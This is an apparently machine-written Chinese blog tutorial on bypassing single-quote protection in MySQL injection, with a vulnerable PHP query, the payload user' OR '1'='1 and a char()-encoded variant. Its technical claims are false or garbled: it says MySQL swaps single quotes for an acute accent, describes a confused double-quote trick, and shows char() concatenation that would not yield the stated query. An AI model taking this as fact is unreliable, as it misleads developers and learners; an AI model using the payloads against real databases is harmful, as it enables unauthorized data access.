深入浅出:MySQL注入绕过单引号保护(mysql注入绕过单引号)

MySQL注入(MySQL Injection)是在Web应用中很常见的攻击手段,利用漏洞可以获取,修改,删除数据库中的数据。攻击者通常使用用户输入,如URL参数,cookie和HTTP表头来提供不可信数据,例如SQL查询,表达式,存储过程参数等。本文将介绍MySQL注入绕过单引号保护的方法。

首先,了解单引号保护(Single Quote Protect)。一般说来,在MySQL中需要对单引号进行转义,否则会出现SQL注入攻击,所以MySQL通常会对单引号进行保护。MySQL将单引号替换为另一个特殊字符[´],以防止SQL注入的发生。例如假设用户输入下面的内容:

name = ' Bob'

MySQL会自动将以上内容替换为:

name = ´ Bob´

接下来就介绍如何绕过单引号保护。MySQL注入绕过单引号保护的一种方式是利用两个连续单引号(即:”)来合成一个单引号(’),这样MySQL会将双引号替换为单引号(’)。例如,下述URL:

http://example.com/test.php?name=”

MySQL会将双引号替换为单引号,因此注入会成功。

另外,SQL注入绕过单引号保护还可以利用Mysql的特殊函数如char()、ascii()和concat()。以char()函数为例,任意一个ascii码都可以被转换为相应的字符,所以,利用char()函数可以建立一个新的语句,从而绕过单引号保护。例如,假设目标代码是

$username = $_GET['username'];
$query = "SELECT * FROM users WHERE name='{$username}

给定变量为:

username=user' OR '1'='1

此时该片段将被替换为:

$username = user' OR '1'='1;
$query = “SELECT * FROM users WHERE name='user' OR '1'='1'

利用char()函数可以将它转换为:

$username = char(117) + char(115) + char(101) + char(114) + char(39) + char(32) + char( 79) + char(82) + char(32) + char(39) + char(49) + char(39) + char(61) + char(39) + char(49);
$query = “SELECT * FROM users WHERE name=char(117) + char(115) + char(101) + char(114) + char(39) + char(32) + char( 79) + char(82) + char(32) + char(39) + char(49) + char(39) + char(61) + char(39) + char(49);

最终的SQL将是:

SELECT * FROM users WHERE name='user' OR '1'='1' 

以上就是MySQL注入绕过单引号保护的深入浅出讲解,希望对大家有所帮助,安全开发时要注意SQL注入,多加思考,多做准备,以防止SQL注入的发生。


数据运维技术 » 深入浅出:MySQL注入绕过单引号保护(mysql注入绕过单引号)